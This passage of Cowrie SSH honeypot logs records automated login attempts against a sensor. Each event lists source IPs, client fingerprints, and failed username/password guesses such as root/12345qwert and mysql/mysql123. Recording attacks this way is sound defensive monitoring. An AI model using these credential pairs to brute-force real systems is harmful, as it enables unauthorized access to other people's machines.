,"aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:58.528629Z","src_ip":"91.92.40.171","session":"0e983d33f5d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37676,"dst_ip":"159.203.135.109","dst_port":22,"session":"5233d7c50d7f","protocol":"ssh","message":"New connection: 91.92.42.133:37676 (159.203.135.109:22) [session: 5233d7c50d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:01.457093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:02.132003Z","src_ip":"91.92.42.133","session":"5233d7c50d7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:02.135608Z","src_ip":"91.92.42.133","session":"5233d7c50d7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:02.534209Z","src_ip":"91.92.40.171","session":"0e983d33f5d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:03.345578Z","src_ip":"27.71.230.31","session":"44ca346a10e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456789","message":"login attempt [devops/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:03.439612Z","src_ip":"91.92.42.133","session":"5233d7c50d7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46902,"dst_ip":"159.203.135.109","dst_port":22,"session":"49e736f76510","protocol":"ssh","message":"New connection: 91.92.40.171:46902 (159.203.135.109:22) [session: 49e736f76510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:04.040134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:04.064636Z","src_ip":"91.92.40.171","session":"49e736f76510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:04.566923Z","src_ip":"91.92.40.171","session":"0e983d33f5d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:04.606056Z","src_ip":"91.92.42.133","session":"5233d7c50d7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:05.128419Z","src_ip":"91.92.40.171","session":"49e736f76510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47528,"dst_ip":"159.203.135.109","dst_port":22,"session":"045b9f6b4086","protocol":"ssh","message":"New connection: 91.92.40.171:47528 (159.203.135.109:22) [session: 045b9f6b4086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:07.975110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:08.079441Z","src_ip":"91.92.40.171","session":"045b9f6b4086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:08.082752Z","src_ip":"91.92.40.171","session":"045b9f6b4086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123","message":"login attempt [user2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:09.149282Z","src_ip":"91.92.40.171","session":"045b9f6b4086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55638,"dst_ip":"159.203.135.109","dst_port":22,"session":"790d94a530f6","protocol":"ssh","message":"New connection: 91.92.42.133:55638 (159.203.135.109:22) [session: 790d94a530f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:10.256764Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:10.326725Z","src_ip":"91.92.40.171","session":"045b9f6b4086","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:10.335711Z","src_ip":"91.92.42.133","session":"790d94a530f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:10.378525Z","src_ip":"91.92.42.133","session":"790d94a530f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:10.790224Z","src_ip":"91.92.40.171","session":"49e736f76510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:11.008655Z","src_ip":"91.92.42.133","session":"790d94a530f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":42828,"dst_ip":"10.17.0.5","dst_port":22,"session":"77df9af34689","protocol":"ssh","message":"New connection: 103.27.238.120:42828 (10.17.0.5:22) [session: 77df9af34689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:12.105199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:12.110102Z","src_ip":"103.27.238.120","session":"77df9af34689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:12.282066Z","src_ip":"91.92.42.133","session":"790d94a530f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:12.374069Z","src_ip":"103.27.238.120","session":"77df9af34689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:13.022076Z","src_ip":"91.92.40.171","session":"49e736f76510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gtagta","message":"login attempt [root/gtagta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:13.166611Z","src_ip":"103.27.238.120","session":"77df9af34689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47578,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fd40ff76fc2","protocol":"ssh","message":"New connection: 91.92.40.171:47578 (159.203.135.109:22) [session: 1fd40ff76fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:13.855666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:13.910103Z","src_ip":"91.92.40.171","session":"1fd40ff76fc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:13.974124Z","src_ip":"91.92.40.171","session":"1fd40ff76fc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:14.367551Z","src_ip":"91.92.40.171","session":"1fd40ff76fc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:14.435248Z","src_ip":"103.27.238.120","session":"77df9af34689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:15.560787Z","src_ip":"91.92.40.171","session":"1fd40ff76fc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36546,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1b4f41cca72","protocol":"ssh","message":"New connection: 91.92.42.133:36546 (159.203.135.109:22) [session: e1b4f41cca72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:17.189977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:17.412223Z","src_ip":"91.92.42.133","session":"e1b4f41cca72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:17.416663Z","src_ip":"91.92.42.133","session":"e1b4f41cca72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:18.730340Z","src_ip":"91.92.42.133","session":"e1b4f41cca72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42872,"dst_ip":"159.203.135.109","dst_port":22,"session":"01ebd204f759","protocol":"ssh","message":"New connection: 91.92.40.171:42872 (159.203.135.109:22) [session: 01ebd204f759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:19.726178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:19.781523Z","src_ip":"91.92.40.171","session":"01ebd204f759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:19.910518Z","src_ip":"91.92.42.133","session":"e1b4f41cca72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:19.918769Z","src_ip":"91.92.40.171","session":"01ebd204f759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:20.324893Z","src_ip":"91.92.40.171","session":"01ebd204f759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:21.449040Z","src_ip":"91.92.40.171","session":"01ebd204f759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36622,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ac7161a4a56","protocol":"ssh","message":"New connection: 91.92.42.133:36622 (159.203.135.109:22) [session: 9ac7161a4a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:18:24.429440Z"}
